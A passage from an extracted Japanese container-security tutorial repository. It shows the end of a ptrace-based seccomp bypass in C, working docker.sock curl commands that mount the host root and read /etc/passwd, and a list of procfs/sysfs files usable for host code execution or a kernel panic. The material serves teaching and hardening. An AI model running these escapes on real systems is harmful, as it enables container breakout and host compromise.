    printf("orig_rax = %lld\n", regs.orig_rax);

    // syscall-enter-stop であればスキップ
    if (regs.rax != -ENOSYS) {
      continue;
    }

    // レジスタの内容を変更してシステムコールを変更する
    if (regs.orig_rax == SYS_getpid) {
      regs.orig_rax = regs.rdi;
      regs.rdi = regs.rsi;
      regs.rsi = regs.rdx;
      regs.rdx = regs.r10;
      regs.r10 = regs.r8;
      regs.r8 = regs.r9;
      regs.r9 = 0;
      ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    }
  }
  return 0;
}
```

`mkdir(2)` を禁止する seccomp profile を適用したコンテナを作成します。

```sh
$ cat seccomp.json | jq 
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "name": "mkdir",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    }
  ]
}

$ docker run -it --security-opt seccomp:seccomp.json ubuntu:latest bash
```

そのコンテナの中で上記コードを実行すると seccomp の制限をバイパスして `mkdir(2)` を実行することが確認できます。

```sh
[root@d7799354119f tmp]# mkdir dir
mkdir: cannot create directory 'dir': Operation not permitted

[root@d7799354119f tmp]# ./a.out
orig_rax = 39
orig_rax = 83
orig_rax = 231
[root@d75f3506a41d tmp]# ls
a.out  dir
```


================================================
FILE: source/security/sensitive-file-mount.md
================================================
# Sensitive File Mount

コンテナに特定のファイルをマウントした場合に、ホスト側にエスケープできるケースがあります。

## Docker Socket

Docker Daemon と通信を行うソケットをコンテナにマウントすると、コンテナから任意の HTTP リクエストを送信できるため、ホスト側にエスケープすることができます。

```sh
ubuntu@docker:~$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest bash
# コンテナ一覧を取得できる
root@3ba2c2752b26:/# curl --unix-socket /var/run/docker.sock http:/v1.24/containers/json
[{"Id":"3ba2c2752b264486b24d5ae00c2a4b6d00b341fe8001f1e703ecadd4ee44655e","Names":["/eager_wozniak"],"Image":"ubuntu:latest","ImageID":"sha256:bb0eaf4eee00c28cb8ffd54e571dd225f1dd2ed8d8751b2835c31e84188bf2de","Command":"bash","Created":1605360446,"Ports":[],"Labels":{},"State":"running","Status":"Up About a minute","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"fdc64dc8a87c0c6a25e6186c5713f03c36a6be049d9a800d745a4d0c7e6c93de","EndpointID":"609757590f10f891224587c9f48abbf3f243705660c98cfb8489aa5cecf29f51","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/var/run/docker.sock","Destination":"/var/run/docker.sock","Mode":"","RW":true,"Propagation":"rprivate"}]}]

# host の / をマウントしたコンテナを作成
root@3ba2c2752b26:/# curl -L --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' http://v1.24/containers/create
{"Id":"8e15f2d344fa7bf9588f82a097e7c506429b936e85bc2a60350a018a7277403f","Warnings":[]}
root@3ba2c2752b26:/# curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' http:/v1.24/containers/8e15f2d344fa7bf9588f82a097e7c506429b936e85bc2a60350a018a7277403f/start

# cat /hostos/etc/passwd を実行
root@3ba2c2752b26:/# curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/hostos/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http:/v1.24/containers/8e15f2d344fa7bf9588f82a097e7c506429b936e85bc2a60350a018a7277403f/exec
{"Id":"0dd4ef3a6b6f63327ef950f9b90d6908006221160f8c2866ed4a8ca4d6e594fb"}
root@3ba2c2752b26:/# curl -L -i --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://v1.24/exec/0dd4ef3a6b6f63327ef950f9b90d6908006221160f8c2866ed4a8ca4d6e594fb/start --output /tmp/output
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1831    0  1801  100    30  19159    319 --:--:-- --:--:-- --:--:-- 19478

# 取得できていることが確認できる
root@3ba2c2752b26:/# cat /tmp/output
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.40
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.13 (linux)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

## procfs と sysfs

procfs や sysfs はカーネルパラメータを設定したりできる機能が提供されているため、これらを利用してホスト側にエスケープしたり、ホスト側の情報を引き出すことができます。  
Docker や LXC では、このような特定のファイルは ReadOnly あるいは `/dev/null` としてマウントされていますが、もしアクセスが可能な場合をみていきます。

![readonly mount](./img/procfs-readonly-mount.png)

### procfs

| ファイル | 概要 |
|:--------:|:----:|
| `/proc/sys/kernel/core_pattern` | core ファイルの名前を指定できる。パイプが利用できるため、ホスト側での任意コード実行に繋げることが可能。|
| `/proc/sys/fs/binfmt_misc` | 指定した拡張子やマジックナンバーを持つファイルを実行する際のインタプリタを指定できる。コンテナ内のファイルを指定することで、ホスト側で対応したファイル実行時にエスケープにつながる。|
| `/proc/sysrq-trigger` | Sysrq コマンドを扱うファイル。例えばコンテナから文字列 `c` をこのファイルに書き込むことでホストにカーネルパニックを起こせる。|
| `/proc/sched_debug` | プロセスのスケジュール管理情報を持っているファイル。全ての namespace のプロセス名が含まれるため、ホストのプロセスも確認できる。 |

上記以外にも `/proc/kcore` や `/proc/kallsyms` など、コンテナから閲覧されない方が良いファイルが多数あります。

### sysfs

| ファイル | 概要 |
|:--------:|:----:|
| `/sys/kernel/uevent_helper` | uevent が発生した際に実行するプログラムを指定できる。コンテナで uevent を発生させることで、ホスト側での任意コード実行に繋げることが可能。|
| `/sys/kernel/vmcoreinfo` | カーネルのアドレスリークにつながる |



================================================
FILE: source/styles/website.css
================================================
.markdown-section blockquote {
    width: 100%;
    border-left: 4px solid #3884ff;
    border-radius: 0.3rem;
}

blockquote blockquote {
    padding-right: 0;
}
Download .txt
gitextract_vq0wp2g_/

├── .gitignore
├── LICENSE
├── README.md
├── book.json
├── package.json
├── renovate.json
└── source/
    ├── README.md
    ├── REFERENCES.md
    ├── SUMMARY.md
    ├── capability/
    │   └── README.md
    ├── cgroup/
    │   └── README.md
    ├── container-basics.md
    ├── hardening/
    │   ├── README.md
    │   ├── apparmor.md
    │   ├── cis-benchmark.md
    │   ├── monitoring.md
    │   ├── no-new-privileges.md
    │   ├── runtime.md
    │   └── seccomp.md
    ├── introduction.md
    ├── kubernetes/
    │   ├── hardening/
    │   │   ├── README.md
    │   │   └── secret-management.md
    │   └── security/
    │       ├── README.md
    │       ├── ctf.md
    │       ├── etcd.md
    │       ├── hostpath-mount.md
    │       ├── metadata-service.md
    │       ├── privileged-pod.md
    │       └── service-account.md
    ├── lsm/
    │   └── apparmor.md
    ├── namespace/
    │   ├── README.md
    │   ├── chroot-and-pivot_root.md
    │   ├── mount.md
    │   ├── pid.md
    │   ├── user.md
    │   └── uts.md
    ├── seccomp/
    │   └── README.md
    ├── security/
    │   ├── DoS.md
    │   ├── README.md
    │   ├── adding-a-user-to-group.md
    │   ├── apparmor-bypass.md
    │   ├── breakout-to-host.md
    │   ├── image/
    │   │   ├── README.md
    │   │   ├── scanner.md
    │   │   └── secrets-in-layer.md
    │   ├── seccomp-bypass.md
    │   └── sensitive-file-mount.md
    └── styles/
        └── website.css
Condensed preview — 48 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (188K chars).
[
  {
    "path": ".gitignore",
    "chars": 21,
    "preview": "node_modules/\n_book/\n"
  },
  {
    "path": "LICENSE",
    "chars": 19343,
    "preview": "Attribution-NonCommercial 4.0 International\n\n=======================================================================\n\nCr"
  },
  {
    "path": "README.md",
    "chars": 508,
    "preview": "# container-security-book\n\n---\n\n# About\n\nこれから Linux コンテナのセキュリティを学びたい人のための文書です。\n普段からコンテナを扱っているが、コンテナの基礎技術やセキュリティについては分からな"
  },
  {
    "path": "book.json",
    "chars": 209,
    "preview": "{\n  \"root\": \"./source\",\n  \"title\": \"Container Security Book\",\n  \"description\": \"これから Linux コンテナのセキュリティを学びたい人のための文書\",\n  \""
  },
  {
    "path": "package.json",
    "chars": 457,
    "preview": "{\n  \"name\": \"container-security-book\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n "
  },
  {
    "path": "renovate.json",
    "chars": 41,
    "preview": "{\n  \"extends\": [\n    \"config:base\"\n  ]\n}\n"
  },
  {
    "path": "source/README.md",
    "chars": 612,
    "preview": "---\nauthor: mrtc0\nfullTitle: \"Container Security Book - Linux コンテナのセキュリティを知ろう\"\ndescription: \"これから Linux コンテナの基礎技術やセキュリティ"
  },
  {
    "path": "source/REFERENCES.md",
    "chars": 955,
    "preview": "# References\n\n* Docker Documentaion / https://docs.docker.com/\n* LXD / https://linuxcontainers.org/lxd/docs/master/ (日本語"
  },
  {
    "path": "source/SUMMARY.md",
    "chars": 1911,
    "preview": "# Summary\n\n## はじめに\n\n- [About](README.md)\n- [Introduction](introduction.md)\n\n## コンテナの基礎技術\n\n- [コンテナの基礎技術](container-basics"
  },
  {
    "path": "source/capability/README.md",
    "chars": 4086,
    "preview": "# Capability\n\nLinux には Capability と呼ばれる仕組みがあり、ファイル及びプロセスに対して権限を細かく設定することができます。  \n\n例えばポート番号が1024以下で Listen する場合は特権が必要になりま"
  },
  {
    "path": "source/cgroup/README.md",
    "chars": 3441,
    "preview": "# cgroup\n\ncgroup はプロセスをグループ化し、そのグループに属するプロセスに対してリソースの制限を行う仕組みです。  \ncgroup は cgroupfs と呼ばれるファイルシステムを通して操作します。多くは `/sys/fs"
  },
  {
    "path": "source/container-basics.md",
    "chars": 188,
    "preview": "# コンテナの基礎技術\n\n本章では Linux コンテナが成り立っている基礎技術について紹介します。  \nLinux コンテナはホストと分離するために Namespace や cgroup の他、seccomp や LSM などを用いた多層"
  },
  {
    "path": "source/hardening/README.md",
    "chars": 138,
    "preview": "# Hardening Container\n\n本章ではコンテナをよりセキュアに運用するための方法について紹介します。  \nAppArmor や seccomp のプロファイルの自動生成やセキュアな OCI / CRI ランタイム、コンテナの"
  },
  {
    "path": "source/hardening/apparmor.md",
    "chars": 7354,
    "preview": "# AppArmor\n\nAppArmor はコンテナが侵害されて各保護レイヤを突破された場合に最後の砦となります。そのため、アプリケーションに適したプロファイルを適用することでコンテナをセキュアに運用することができます。  \n一方で、App"
  },
  {
    "path": "source/hardening/cis-benchmark.md",
    "chars": 4719,
    "preview": "# CIS Benchmarks に準拠して Docker をセキュアにする\n\nCIS Benchmarks[^1] は CIS (Center For Internet Security) というインターネット・セキュリティの標準化に取り"
  },
  {
    "path": "source/hardening/monitoring.md",
    "chars": 15,
    "preview": "# コンテナの監視\n\nTBD\n"
  },
  {
    "path": "source/hardening/no-new-privileges.md",
    "chars": 1237,
    "preview": "# No New Privileges\n\nLinux カーネルには No New Privileges[^1] と呼ばれる、子プロセスが新しい特権を取得できないようにする仕組みがあります。\n\nsetuid されたバイナリがコンテナの中にある"
  },
  {
    "path": "source/hardening/runtime.md",
    "chars": 987,
    "preview": "# ランタイムセキュリティ\n\nコンテナのセキュリティはホストとの Isolation に依存します。もしランタイムやカーネルに脆弱性があった場合、コンテナからホスト側に Breakeout できる要因になってしまいます。  \n\nそこで、ラン"
  },
  {
    "path": "source/hardening/seccomp.md",
    "chars": 765,
    "preview": "# seccomp\n\nAppArmor と同様に seccomp プロファイルもコンテナ上で動作するアプリケーションのイベントをトレースしなければ生成することが困難です。  \n発行されているシステムコールをトレースするには `strace`"
  },
  {
    "path": "source/introduction.md",
    "chars": 2293,
    "preview": "# 1. コンテナの基礎技術\n\nLinux コンテナはホストと分離するために様々な Linux カーネルの仕組みを利用しています。  \n攻撃が生じる特定の領域に複数の保護レイヤを導入し、各レイヤは同種の攻撃に対して脆弱にならないような多層防"
  },
  {
    "path": "source/kubernetes/hardening/README.md",
    "chars": 4,
    "preview": "TBD\n"
  },
  {
    "path": "source/kubernetes/hardening/secret-management.md",
    "chars": 4,
    "preview": "TBD\n"
  },
  {
    "path": "source/kubernetes/security/README.md",
    "chars": 811,
    "preview": "# Kubernetes Security\n\n本章ではコンテナのオーケストレーションツールである Kubernetes への攻撃例とその対策を紹介します。\n\n![Kubernetes クラスタにおける攻撃ベクターの例](./img/kube"
  },
  {
    "path": "source/kubernetes/security/ctf.md",
    "chars": 4090,
    "preview": "# CTF を通して学ぶ Kubernetes セキュリティ\n\nここまでで Linux コンテナと Kubernetes のセキュリティを学んできました。ここからは CTF(Capture The Flag) 形式のゲームを通してより実践的"
  },
  {
    "path": "source/kubernetes/security/etcd.md",
    "chars": 5630,
    "preview": "# etcd\n\nKubernetes のコントロールプレーンには、クラスタの情報を格納する KV ストアとして etcd があります。\netcd はデフォルトでは 2379/tcp で API を提供しています。\n\n```shell\nroo"
  },
  {
    "path": "source/kubernetes/security/hostpath-mount.md",
    "chars": 957,
    "preview": "# ホストパスのマウント\n\nPod からホストのパスをボリュームとしてマウントすることが可能です。例えば次のような Pod を作成すると `/host` 配下に Pod が配置された node のルートディレクトリをマウントできます。\n\n`"
  },
  {
    "path": "source/kubernetes/security/metadata-service.md",
    "chars": 21323,
    "preview": "# Metadata Service へのアクセス\n\nGCP や AWS などのクラウドプロバイダーには Metadata Service と呼ばれるインスタンスに対して任意のデータを提供するエンドポイントがあり、インスタンスから http"
  },
  {
    "path": "source/kubernetes/security/privileged-pod.md",
    "chars": 2779,
    "preview": "# Pod の権限と Node へのエスケープ\n\n[ホストへのエスケープ](https://container-security.dev/security/breakout-to-host.html)でも紹介したように、特権コンテナはホスト"
  },
  {
    "path": "source/kubernetes/security/service-account.md",
    "chars": 9072,
    "preview": "# ServiceAccount には最小権限を与える\n\nServiceAccount のトークンと証明書は Pod 内の `/var/run/secrets/kubernetes.io/serviceaccounts/` 配下にマウントさ"
  },
  {
    "path": "source/lsm/apparmor.md",
    "chars": 1580,
    "preview": "# AppArmor\n\nAppArmor は Linux Security Module (LSM) の一つで、Mandatory access control (MAC) を実現しています。  \nアプリケーションごとにプロファイルを適用す"
  },
  {
    "path": "source/namespace/README.md",
    "chars": 3586,
    "preview": "# Namespace\n\nLinux Namespace はホストとの Isolation の要の一つです。  \nここでは Linux Namespace を単に Namespace あるいは名前空間と呼ぶこととします。\n\nNamespac"
  },
  {
    "path": "source/namespace/chroot-and-pivot_root.md",
    "chars": 3755,
    "preview": "# chroot と pivot_root\n\nMount Namespace では、名前空間ごとにマウントポイントを利用できることが確認できました。  \nしかしコンテナではルートディレクトリ `/` 配下を全て別のファイルシステムにしなけれ"
  },
  {
    "path": "source/namespace/mount.md",
    "chars": 794,
    "preview": "# Mount Namespace\n\nMount Namespace はマウントポイントを分離することができます。PID namespace では `procfs` を unshare のプロセスにだけ見えるようにマウントしました。  \nこ"
  },
  {
    "path": "source/namespace/pid.md",
    "chars": 2562,
    "preview": "# PID Namespace\n\nPID Namespace はプロセスの PID を分離します。コンテナの中で `ps` コマンドを実行すると PID 1 のプロセスが存在していることが確認できます。  \n通常 Linux では重複した "
  },
  {
    "path": "source/namespace/user.md",
    "chars": 1189,
    "preview": "# User Namespace\n\nUser Namespace は UID / GID を分離し、 Namespace 内で独立した UID / GID を持てるようになります。  \nまた、Namespace 内の UID / GID が"
  },
  {
    "path": "source/namespace/uts.md",
    "chars": 409,
    "preview": "# UTS Namespace\n\nUTS Namespace はホスト名の分離に利用されます。  \n`uname(2)` や `gethostname(2)` を使用したときに Namespace 内で設定された値を取得することができます。"
  },
  {
    "path": "source/seccomp/README.md",
    "chars": 724,
    "preview": "# seccomp\n\nseccomp はシステムコールとその引数を制限する仕組みです。  \n例えば Docker では次のような seccomp プロファイルを与えることで `mkdir` を禁止するコンテナを作成できます。\n\n```sh\n"
  },
  {
    "path": "source/security/DoS.md",
    "chars": 782,
    "preview": "# DoS\n\nコンテナはホストとリソースを共有しているため、リソースの制限を適切に施していない場合、ホストに対する DoS となる可能性があります。\n\n## Fork Bomb\n\ncgroup などでプロセス数を制限していない場合、コンテナ"
  },
  {
    "path": "source/security/README.md",
    "chars": 505,
    "preview": "# コンテナのセキュリティと攻撃例\n\n本章では[コンテナの基礎技術](../container-basics.md)で紹介した各保護レイヤに不備があった場合に生じる脆弱性や Docker のセキュリティについて紹介します。\n\nコンテナへの攻"
  },
  {
    "path": "source/security/adding-a-user-to-group.md",
    "chars": 6367,
    "preview": "# コンテナ実行権限を持つグループへのユーザー追加\n\n`docker` グループや `lxd` グループへのユーザー追加を行うことは、そのユーザーに root 権限を追加することと同義です。  \n例えば docker の場合は次のようにホス"
  },
  {
    "path": "source/security/apparmor-bypass.md",
    "chars": 1015,
    "preview": "# AppArmor のバイパス方法\n\nAppArmor は記法が複雑であるため、バイパス可能なルールを記述してしまうケースがあります。  \nここでは、いくつかそれらの例を示したいと思います。\n\n## 親ディレクトリを rename する\n"
  },
  {
    "path": "source/security/breakout-to-host.md",
    "chars": 6844,
    "preview": "# ホストへのエスケープ\n\nコンテナからホスト側にエスケープできることを、コンテナという牢獄から脱出することから「Breakout」「Jailbreak」などと呼ばれることがあります。  \nここではコンテナからホスト側への Breakout"
  },
  {
    "path": "source/security/image/README.md",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "source/security/image/scanner.md",
    "chars": 6987,
    "preview": "# イメージスキャン\n\nDocker イメージにはアプリケーションの動作に必要なソフトウェアが含まれており、それらに脆弱性が存在することがあります。  \nコンテナに限らず、オンプレやVMでも同様ですが、それらの脆弱性を利用されて権限昇格され"
  },
  {
    "path": "source/security/image/secrets-in-layer.md",
    "chars": 4513,
    "preview": "# イメージレイヤへの機密情報の保持\n\nDocker イメージは OverlayFS のようにレイヤが存在し、ベースとなる OS レイヤに対してアプリケーションやライブラリを追加されたものになっています。\n\n例えば次のような Dockerf"
  },
  {
    "path": "source/security/seccomp-bypass.md",
    "chars": 2591,
    "preview": "# seccomp のバイパス\n\nseccomp は特定のシステムコール呼び出しを制限する機構ですが、 **Linux Kernel 4.8 まで** は ptrace を使うことでバイパスすることができます。  \nこれは ptrace ト"
  },
  {
    "path": "source/security/sensitive-file-mount.md",
    "chars": 4359,
    "preview": "# Sensitive File Mount\n\nコンテナに特定のファイルをマウントした場合に、ホスト側にエスケープできるケースがあります。\n\n## Docker Socket\n\nDocker Daemon と通信を行うソケットをコンテナにマ"
  },
  {
    "path": "source/styles/website.css",
    "chars": 162,
    "preview": ".markdown-section blockquote {\n    width: 100%;\n    border-left: 4px solid #3884ff;\n    border-radius: 0.3rem;\n}\n\nblockq"
  }
]

About this extraction

This page contains the full source code of the mrtc0/container-security-book GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 48 files (139.3 KB), approximately 53.4k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!